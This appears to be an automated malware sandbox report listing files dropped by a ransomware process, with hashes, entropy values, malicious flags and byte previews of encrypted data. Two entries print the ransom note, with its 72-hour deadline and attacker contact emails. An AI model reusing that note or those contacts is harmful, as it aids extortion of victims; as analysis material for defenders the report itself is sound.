                                                                                                                                                                SHA-512:7BEFBE9E270A7C7571156C4AA619C34709A40B17A4C26BB0B32C86BA0FDB910FC3880A038771C6F13F04CB2F2DF242456CAA1F71378FA1A235D39635ABFE9899
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.k....B..1..m.).....*.......-...hS.~Uz.;g.!../o...9.\.xZ.]'.......5..$.?T,.p.b..h"P..SCZ...l. .l...f./h...g..../.....$7(jJ.'.(x.Y/..!..Z.UFb....L.....g=...C.2l....U...L..I.@..^X#..&W.>7sHrVL.....0.....F...U.#.t..,..=...R.....A.B....g...R[.........$dM....~.3n+ZkW@.n..g.."R......89 .v...U..`.X,..WoF........A.0v..4<.7...L.}..=.....~.o.{.O.'D.G.O..,....$.....#..z..V....l....%. 2H.j).#R..nc.f.`1$...+i/.M.".D..q."..<.N..n.rf.3 R#.."X'....^h*.3............T..E..d3..C.[..$....].#.#.1l...-...I.1^.d.......\_..=...8.V^N......R...9...1.......s...y...(|..*g...da..O..R....4k.d.l...7[.._...3..T...?]..)...i.cI.U=.?.7z.}.d....%~.f.......u.q.....J.;.s.S-..VO.t.e...0n..........tP.;.C.....8...4...6......M...i+.._........g!..n...`....s..i....d.Y.2.fX._.a.R...:.P.GP....w..s....m....n.....1.......F..y.|..k.........q2C....2=..iRJN?vT#..5..@.>."~m+}..>.D.i...m.s..B<s..^.E3.8...R..i....KK.......E.&.P...p...zD.........t.*.K..K....y.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.862782833757825
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:tXuTocjVu/YrSeIcT9snJr47UPgVVUS+sCa+vzGImqSl1D:luToXM5s4QgkRaDzqk1D
                                                                                                                                                                MD5:24D756F4A8BF7A522552578067ED46ED
                                                                                                                                                                SHA1:910089742A26E50028C3833F6AC70EDFB61CAFA0
                                                                                                                                                                SHA-256:82BD1CD91CC40B0E330A03BFC15264F5354FB98E4418F157C5F90A3A50648B84
                                                                                                                                                                SHA-512:7BEFBE9E270A7C7571156C4AA619C34709A40B17A4C26BB0B32C86BA0FDB910FC3880A038771C6F13F04CB2F2DF242456CAA1F71378FA1A235D39635ABFE9899
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.k....B..1..m.).....*.......-...hS.~Uz.;g.!../o...9.\.xZ.]'.......5..$.?T,.p.b..h"P..SCZ...l. .l...f./h...g..../.....$7(jJ.'.(x.Y/..!..Z.UFb....L.....g=...C.2l....U...L..I.@..^X#..&W.>7sHrVL.....0.....F...U.#.t..,..=...R.....A.B....g...R[.........$dM....~.3n+ZkW@.n..g.."R......89 .v...U..`.X,..WoF........A.0v..4<.7...L.}..=.....~.o.{.O.'D.G.O..,....$.....#..z..V....l....%. 2H.j).#R..nc.f.`1$...+i/.M.".D..q."..<.N..n.rf.3 R#.."X'....^h*.3............T..E..d3..C.[..$....].#.#.1l...-...I.1^.d.......\_..=...8.V^N......R...9...1.......s...y...(|..*g...da..O..R....4k.d.l...7[.._...3..T...?]..)...i.cI.U=.?.7z.}.d....%~.f.......u.q.....J.;.s.S-..VO.t.e...0n..........tP.;.C.....8...4...6......M...i+.._........g!..n...`....s..i....d.Y.2.fX._.a.R...:.P.GP....w..s....m....n.....1.......F..y.|..k.........q2C....2=..iRJN?vT#..5..@.>."~m+}..>.D.i...m.s..B<s..^.E3.8...R..i....KK.......E.&.P...p...zD.........t.*.K..K....y.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                File Type:PDF document, version 1.6 (zip deflate encoded)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):15329
                                                                                                                                                                Entropy (8bit):7.967769261613116
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:q+It8/yok0Rr3CVwILWL9M7R75ijMkMHwVeSCGSaM:MtzF0RrpMiQkF81
                                                                                                                                                                MD5:68E824D20E8DE5DE2913D25119AC6A1C
                                                                                                                                                                SHA1:A0AB8703D252CA3189CD74D6A39B942F5F9C8E1F
                                                                                                                                                                SHA-256:FBC363E2F2ADE16F64B984412694BCB32819AE528C218042BDAF0C859D2BDE01
                                                                                                                                                                SHA-512:05F9434886327F5F1B93AECE9A4C32B393B5B1908E0C34494279566EAC40D2E0C39F85CEC005C771441BBBB869B7AD5C3CF31E7A73342D64711D81389ED7DDD4
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9..*.....0b7.M`.@.....v.v.7...m.m7FRk[.L|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.T*GX>+-...,%8t.....Hb|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....*&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:......*...&...e.mpG...3......9.p...3....FA..{...f.0.....
                                                                                                                                                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                File Type:PDF document, version 1.6 (zip deflate encoded)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):313058
                                                                                                                                                                Entropy (8bit):7.489403200507457
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:fIS2SsoMIr16Q9wt0I/pK9UW4cAgfmi+gKr116umiFBgKw1AlHCgKP1BSljgKr+g:fn2SVMIrIQ9c0I/s9U1cSrhjwvPnEr+g
                                                                                                                                                                MD5:0B46EEFB0F38BAF77484929DD67DB02C
                                                                                                                                                                SHA1:DE2CE2981F80DEB18935A2D7C76862D049FE7E2A
                                                                                                                                                                SHA-256:496212C9D3B71BF483C6B97E4803E00B46B5F8AE731FE4EAE73F614B41F22163
                                                                                                                                                                SHA-512:04A0518619385AC7E64A0B2122038C946A22E6E61A06FE539AB389EEB8C2414BF95A6D15DF2478E02F5733F4F2A8C4981B9D35BDE44C59FCD746B020E4B55172
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:%PDF-1.6.%......1196 0 obj.<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>stream..h..Z{o.9..*.....0b7.M`.@.....v.v.7...m.m7FRk[.L|..~E.e..'.L...WU..X/.....[.Im2o\.Ek.Rb.`..........SRGf2/..gRZ...1.l.LZU.......I..F.S....T.;.L..3..u....v:....t<......v.F.dV.t......N..e3.%(+....A.T*GX>+-...,%8t.....Hb|iB `M\...e.......e....=K..=.z.=C.MN....z%.$z..4..P.S..x..SP......i..06N.._...j.\^..&.....7..r.)t....u....@~Z..2....7..._.8Bw..}=.....l.}.9...8.._.=>....^w.YX?..f.^.._..0.1.........r.d.8....dE....U.`...].]/...2.x..B.....<...r.........u...i...wU.I.7....hok.)......:.7M....lA..M...e....u%a.9.y..-......b.-.Rs......}..?./s.J.e.p....<....s....X.L..R.].l........Y.....6c9..Xq[...#..."W..2.cF(...=@....*&....E=_7..Q...qV.rq...p.h..B......^...e........P......[..gP.+_O>.zU..fU...n)...N...C.J.|..W~j......#{y.. ..g".........nQ.....n.S"N.dR.......&.K......i.y.\n.u......9P0.....`.7.Yx.).3}.{p..z.(....:......*...&...e.mpG...3......9.p...3....FA..{...f.0.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.859274251207291
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:T04C/s+yWe/9cftmyWjcktZaQCy0N9CZ25TaOKTaAeMufLDvOoM7B5d:o4Cu/iFOtn0OZUNKT1eMufL6B7
                                                                                                                                                                MD5:3EEC01C0DF0A888FFD758FA60241B809
                                                                                                                                                                SHA1:09C365DF8BA5286DF166FE124D8AF3D615C243CD
                                                                                                                                                                SHA-256:23A6361715B819E5C3292235231A0E14416FD81EC5C25442866ADF2787E859D0
                                                                                                                                                                SHA-512:73221413C2DF9149D4BCEBE8A0147C3B3E7727098F4BF6C36D57C03204CA0B11A4392B785ADF8D37FC85B465B22F053A4609D1276A3E9466B7E3902ADEC9608C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..`...fh.1.j_..5.*.'.}>.....(...^....4A.U.YC^Q-....g. ...Xb.*.tgy.L.K_W..0!..Sq..q>..H..(.......!...K}U.Y......V.f.`.....sjY...I.......E.N...r.e...D....[.Y..~...G3..{...0...&...N..*t......G.c.T..Q.QW.....>=.#...... \..K..o...+%..G.. j...D..~n9:.p.Yf.]Q.AA.c.vU..4.\...1......u,.I..B}.......6.o..=...S...G..J..Mc.).....o..{fd..LBB......W8R...mr.i.T5$.m.Xx.%.A8O..<D...\k5.....8[....8S+,.DS423..l..j.....Z.u..,.3GS.......-..i..%@............y..e....B....).."Fv....g.9.h.P.....,...].w...%...#..]....t;..q..]mP.6s...A*q.E7..]..l...uT..]\&.S....?X..7..&Nx..U......vx...{L...e...i.of...y..T.........f...%u.j..:.W..DScMO....V..0..;a$.].8....6.1O_<#..Z...I.Zi....&.(..i....dY....ui1K....>.X..QZ:.Eb.^.j.!T.;....@7...'F.*...D..#3.`z.[U1+.......e.z.....P..v...P..' .Rhq..[..$E.Mr..|.......3i...B....Z.c~..t9`..+...{id.$.J...S./g....l......gp_e..x......U.^....\@.;=.Vs...|..p..t..o......z.8h.k.0n...wB.............n:|......^6..P..e....E.2.A..1S.L`..e.&-.N........$.......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.859274251207291
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:T04C/s+yWe/9cftmyWjcktZaQCy0N9CZ25TaOKTaAeMufLDvOoM7B5d:o4Cu/iFOtn0OZUNKT1eMufL6B7
                                                                                                                                                                MD5:3EEC01C0DF0A888FFD758FA60241B809
                                                                                                                                                                SHA1:09C365DF8BA5286DF166FE124D8AF3D615C243CD
                                                                                                                                                                SHA-256:23A6361715B819E5C3292235231A0E14416FD81EC5C25442866ADF2787E859D0
                                                                                                                                                                SHA-512:73221413C2DF9149D4BCEBE8A0147C3B3E7727098F4BF6C36D57C03204CA0B11A4392B785ADF8D37FC85B465B22F053A4609D1276A3E9466B7E3902ADEC9608C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..`...fh.1.j_..5.*.'.}>.....(...^....4A.U.YC^Q-....g. ...Xb.*.tgy.L.K_W..0!..Sq..q>..H..(.......!...K}U.Y......V.f.`.....sjY...I.......E.N...r.e...D....[.Y..~...G3..{...0...&...N..*t......G.c.T..Q.QW.....>=.#...... \..K..o...+%..G.. j...D..~n9:.p.Yf.]Q.AA.c.vU..4.\...1......u,.I..B}.......6.o..=...S...G..J..Mc.).....o..{fd..LBB......W8R...mr.i.T5$.m.Xx.%.A8O..<D...\k5.....8[....8S+,.DS423..l..j.....Z.u..,.3GS.......-..i..%@............y..e....B....).."Fv....g.9.h.P.....,...].w...%...#..]....t;..q..]mP.6s...A*q.E7..]..l...uT..]\&.S....?X..7..&Nx..U......vx...{L...e...i.of...y..T.........f...%u.j..:.W..DScMO....V..0..;a$.].8....6.1O_<#..Z...I.Zi....&.(..i....dY....ui1K....>.X..QZ:.Eb.^.j.!T.;....@7...'F.*...D..#3.`z.[U1+.......e.z.....P..v...P..' .Rhq..[..$E.Mr..|.......3i...B....Z.c~..t9`..+...{id.$.J...S./g....l......gp_e..x......U.^....\@.;=.Vs...|..p..t..o......z.8h.k.0n...wB.............n:|......^6..P..e....E.2.A..1S.L`..e.&-.N........$.......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.827680539643577
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:pHWWZVAAk0yjPAj6vjjjlE/vCaRUJ2ssXjux8qi/O6lOhoTEqjB6JhhA9Z6KsKZo:pZOSCAsE/aJ2sKs89lO6TEY4RK+
                                                                                                                                                                MD5:B59347E849382E6D5E6520FCE7B91BC5
                                                                                                                                                                SHA1:A9352C654F196446828A5BC3EF9FC998F6570782
                                                                                                                                                                SHA-256:BD750A143037165C7614CE5E7B1FB548048843670EAF2A182D03B1C811D1C082
                                                                                                                                                                SHA-512:93A252674DE82FCC631A61D28C259BC3010150E60D4FEEE7D01AE041D9A2084B13E4468F44567F5E73BCAC0499002384C9C94A05149FBC7824D5B2062C5229F4
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:7I....$..R..PY.....N.Ev.2...x..%.X.?..._...1..b..OT#.6..DB.o..)...}6.1..b.L...W.T.D.../.......A..=X...`B...:...s..].({..z.&..T..AL.....mDV.........9O<..*;..O.;.2.Z.O)n3zl..P....mk.._s.P3...Zw......>..Q..6cA......5?.....DgZ...{QN.......v.}JQ.R. .b..<...A......s..vO.S....Z...&...sK.l%.+vg:.....&.X...VVU......b..G1|.u.n...g...{m.f.1...}.....0...Yv..c[...3F...E.%../.@.P<%...T..d5.....nXlqr...P ..7.......ss..m..."...w...u.}..n.{....$.Ik.2.GK.r(@4.u..u.......[.Iy..+E..r.)AU...+...4-.|L.yK.R....+.<..6.u7...{.&v..yOW51..0P:..:N4m.%.......Ck.?....(..~2..........ne....#..*? .v.>kW}........`.'.W..8o.]p...<.9p.IBB3:)...c+q.....uv..S_.6......a[o.X.....G($.._S.Z.......k.Y.....hu.. .3.TJ9.....n%....C.s..l".uZ.1b.Q....e..<w...V8..%.......V9.......3..WW.......AM:..y.....`..y.;WX`..X....00A.f.D!..m..p(..Dv.'......".g....n}.h@......{v... ....a..I...Sm..j..QW.9......q.h..9......}$E....G^$B....A)..@*P.....>/...?.\.......@".l....6kX.....,..8!...f..LA5O&.......=....".x.7
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.827680539643577
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:pHWWZVAAk0yjPAj6vjjjlE/vCaRUJ2ssXjux8qi/O6lOhoTEqjB6JhhA9Z6KsKZo:pZOSCAsE/aJ2sKs89lO6TEY4RK+
                                                                                                                                                                MD5:B59347E849382E6D5E6520FCE7B91BC5
                                                                                                                                                                SHA1:A9352C654F196446828A5BC3EF9FC998F6570782
                                                                                                                                                                SHA-256:BD750A143037165C7614CE5E7B1FB548048843670EAF2A182D03B1C811D1C082
                                                                                                                                                                SHA-512:93A252674DE82FCC631A61D28C259BC3010150E60D4FEEE7D01AE041D9A2084B13E4468F44567F5E73BCAC0499002384C9C94A05149FBC7824D5B2062C5229F4
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:7I....$..R..PY.....N.Ev.2...x..%.X.?..._...1..b..OT#.6..DB.o..)...}6.1..b.L...W.T.D.../.......A..=X...`B...:...s..].({..z.&..T..AL.....mDV.........9O<..*;..O.;.2.Z.O)n3zl..P....mk.._s.P3...Zw......>..Q..6cA......5?.....DgZ...{QN.......v.}JQ.R. .b..<...A......s..vO.S....Z...&...sK.l%.+vg:.....&.X...VVU......b..G1|.u.n...g...{m.f.1...}.....0...Yv..c[...3F...E.%../.@.P<%...T..d5.....nXlqr...P ..7.......ss..m..."...w...u.}..n.{....$.Ik.2.GK.r(@4.u..u.......[.Iy..+E..r.)AU...+...4-.|L.yK.R....+.<..6.u7...{.&v..yOW51..0P:..:N4m.%.......Ck.?....(..~2..........ne....#..*? .v.>kW}........`.'.W..8o.]p...<.9p.IBB3:)...c+q.....uv..S_.6......a[o.X.....G($.._S.Z.......k.Y.....hu.. .3.TJ9.....n%....C.s..l".uZ.1b.Q....e..<w...V8..%.......V9.......3..WW.......AM:..y.....`..y.;WX`..X....00A.f.D!..m..p(..Dv.'......".g....n}.h@......{v... ....a..I...Sm..j..QW.9......q.h..9......}$E....G^$B....A)..@*P.....>/...?.\.......@".l....6kX.....,..8!...f..LA5O&.......=....".x.7
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858030539555984
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:+fdM0Zex4OkzBEx9z2u49FVqSFNfbuD1vaKwk4zi97xfRC+:SdnZTOmAkV9ThuDRgi97xfRC+
                                                                                                                                                                MD5:F3B4812EB1293F0584CAE0D195B4227D
                                                                                                                                                                SHA1:EBE2D107C74BD946D6B220E7039369AEAF304DAA
                                                                                                                                                                SHA-256:B06CD57C71E6E394F327523FA4EEA6D8F340449A1632A362384BAA88F1378500
                                                                                                                                                                SHA-512:DA1B2E000EED7A27FC7B3AE24044499CEAD678CEB3671518B62F202155FD9B3715E7636A8B9D45B085E7DA2BE0147B9C212F23D9C1F503748C2827A38E54E0EB
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......'... O.U............S.N.|..o/......W.,.p.d.w..=.N.xw....#l-.EV./.....a..r.(|..J....... %JM..~}.....:...*..m.o..G0%8=^4....)y.x....6..v.y.W..B.%.......H.r>..a.>nk.(.S.%..e.`.......E>..4..t...2.q....G.i.>.`'!>....y...i+p....DM.^..(. Od...9u..L.].f.Ce.w..#82.._.^.;.!4\ .un....vUG....v.2.....hm.UD.........21,s.k...n...F.ABLe..F..r..M.k.yh..iQwUK.c.......J.Q..).,[`j...i... ......}...5.....7..iO..'.A.....<,..O.[?.?.&+j..u}.x..q1"8.&..t.@_6'..DP..8.{^...}o.Y\......D|..E.~...'..0...r.....B.N:...:....9.9.I.A..6wm.an./G..E..L~.m...(.?.'.T...e..x.t..i..>z...x..].B...I......I.u.d.."...l..[...>..."QH..\T.-..=v.uS..2#..!2....B.H..R0....g..X...E.44*.2..a.fcz.r..^q7v..M.........uH.}...8.m...OvB.L..C..8.}.P..].X0...J"..k..y.<HY(..........{.......q....u..z..r.#&..9.3D.b.B.#..[.*)z...bh.....)......b.S.Sf............7Lg....s.V..z>..C...g.'..2)....hcZ..tX.1..TH.....96.g....)9.........W..r-.>...4.}B..T.P".c.+{..5...e?.*b....R.........r.....3.n.E......,..]P..=
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858030539555984
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:+fdM0Zex4OkzBEx9z2u49FVqSFNfbuD1vaKwk4zi97xfRC+:SdnZTOmAkV9ThuDRgi97xfRC+
                                                                                                                                                                MD5:F3B4812EB1293F0584CAE0D195B4227D
                                                                                                                                                                SHA1:EBE2D107C74BD946D6B220E7039369AEAF304DAA
                                                                                                                                                                SHA-256:B06CD57C71E6E394F327523FA4EEA6D8F340449A1632A362384BAA88F1378500
                                                                                                                                                                SHA-512:DA1B2E000EED7A27FC7B3AE24044499CEAD678CEB3671518B62F202155FD9B3715E7636A8B9D45B085E7DA2BE0147B9C212F23D9C1F503748C2827A38E54E0EB
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......'... O.U............S.N.|..o/......W.,.p.d.w..=.N.xw....#l-.EV./.....a..r.(|..J....... %JM..~}.....:...*..m.o..G0%8=^4....)y.x....6..v.y.W..B.%.......H.r>..a.>nk.(.S.%..e.`.......E>..4..t...2.q....G.i.>.`'!>....y...i+p....DM.^..(. Od...9u..L.].f.Ce.w..#82.._.^.;.!4\ .un....vUG....v.2.....hm.UD.........21,s.k...n...F.ABLe..F..r..M.k.yh..iQwUK.c.......J.Q..).,[`j...i... ......}...5.....7..iO..'.A.....<,..O.[?.?.&+j..u}.x..q1"8.&..t.@_6'..DP..8.{^...}o.Y\......D|..E.~...'..0...r.....B.N:...:....9.9.I.A..6wm.an./G..E..L~.m...(.?.'.T...e..x.t..i..>z...x..].B...I......I.u.d.."...l..[...>..."QH..\T.-..=v.uS..2#..!2....B.H..R0....g..X...E.44*.2..a.fcz.r..^q7v..M.........uH.}...8.m...OvB.L..C..8.}.P..].X0...J"..k..y.<HY(..........{.......q....u..z..r.#&..9.3D.b.B.#..[.*)z...bh.....)......b.S.Sf............7Lg....s.V..z>..C...g.'..2)....hcZ..tX.1..TH.....96.g....)9.........W..r-.>...4.}B..T.P".c.+{..5...e?.*b....R.........r.....3.n.E......,..]P..=
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.853412753017256
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:fKov31vzOswYUCkES6WUB3KnFk/10iM/oHpcS:fKov31vNw4kxfu3SFOkAJv
                                                                                                                                                                MD5:247B2AD0E8699BEA1E00E12E2DCBE88E
                                                                                                                                                                SHA1:DDAE5B45D1DEE2CF4E3B3FF105C3FB187B3C048D
                                                                                                                                                                SHA-256:86A55E872C2214625155FC89AE8458B4C9D782F03CF451E081C07DC3433D570C
                                                                                                                                                                SHA-512:CA9E308AD7C9BDA03100F7827FA910A1161B961F1A15DB081C34D0678F570B21D8D15F6A081ECD11716649F01C07987F3EFC14D38DCB0C80E97A9B4E9C52C149
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...p...tV=7.!8.1..(y..u..L.....[C%...J..cz.....B.e[.jyvB^k.~...=L..v.....Sc..z)CS+....Mr.....WX.*,.6.g2...[..)...D..Y....PYvb2.6O.<.d...t../wh....m...Y....B..E......)..)Dd~&.....]%b.cT..........0...4...Uo......N.~......c-......l|(..[..'B....Q!...o...q...r]g.Vo]S../....d. .iFA.x....IMe..v.d.._..p.....K.O...G.K..\Z@...L..:\x....)C.'H......P)vk...>p8..J7..d.p.&.....9.....Xc.t......s.=.>:4.e..t.x~....H.6...."G].q..[2.1.@....g.......8...q...?>.U...l.....+.P..qf..,dHW.S......T...V$.V,.....:. h.#...|]..k'|.....]u..e......>.Y]...e.v..f..?]..n.I.B.zW.&T_<?c...~.N.5.D..d>1..S9p...."GS.vn..BISv..|....5.c~..........{S...e.....`@.Z`..w.D....]....;..m.....Th_g.d.._.w4_4d1.....V%r.d......q..S...D[..G.........R...`......$.P...y.H.}.;W...s8..8a.R...pc...K.$.fd0..h.K....CO...,..8d.7...>.s.e..t.,s.'_...#...-...}.`U.B.6.`<.......n0..c.....0d.z<.~o..%..z-.&..Mf.\6.F..D.......=H.c.LJ).O.\..k.....6._...ix..h.V.~.$f.Q.Yy.|Wtf.Q}.x.QDhta...*.J..?FV.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.853412753017256
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:fKov31vzOswYUCkES6WUB3KnFk/10iM/oHpcS:fKov31vNw4kxfu3SFOkAJv
                                                                                                                                                                MD5:247B2AD0E8699BEA1E00E12E2DCBE88E
                                                                                                                                                                SHA1:DDAE5B45D1DEE2CF4E3B3FF105C3FB187B3C048D
                                                                                                                                                                SHA-256:86A55E872C2214625155FC89AE8458B4C9D782F03CF451E081C07DC3433D570C
                                                                                                                                                                SHA-512:CA9E308AD7C9BDA03100F7827FA910A1161B961F1A15DB081C34D0678F570B21D8D15F6A081ECD11716649F01C07987F3EFC14D38DCB0C80E97A9B4E9C52C149
                                                                                                                                                                Malicious:false
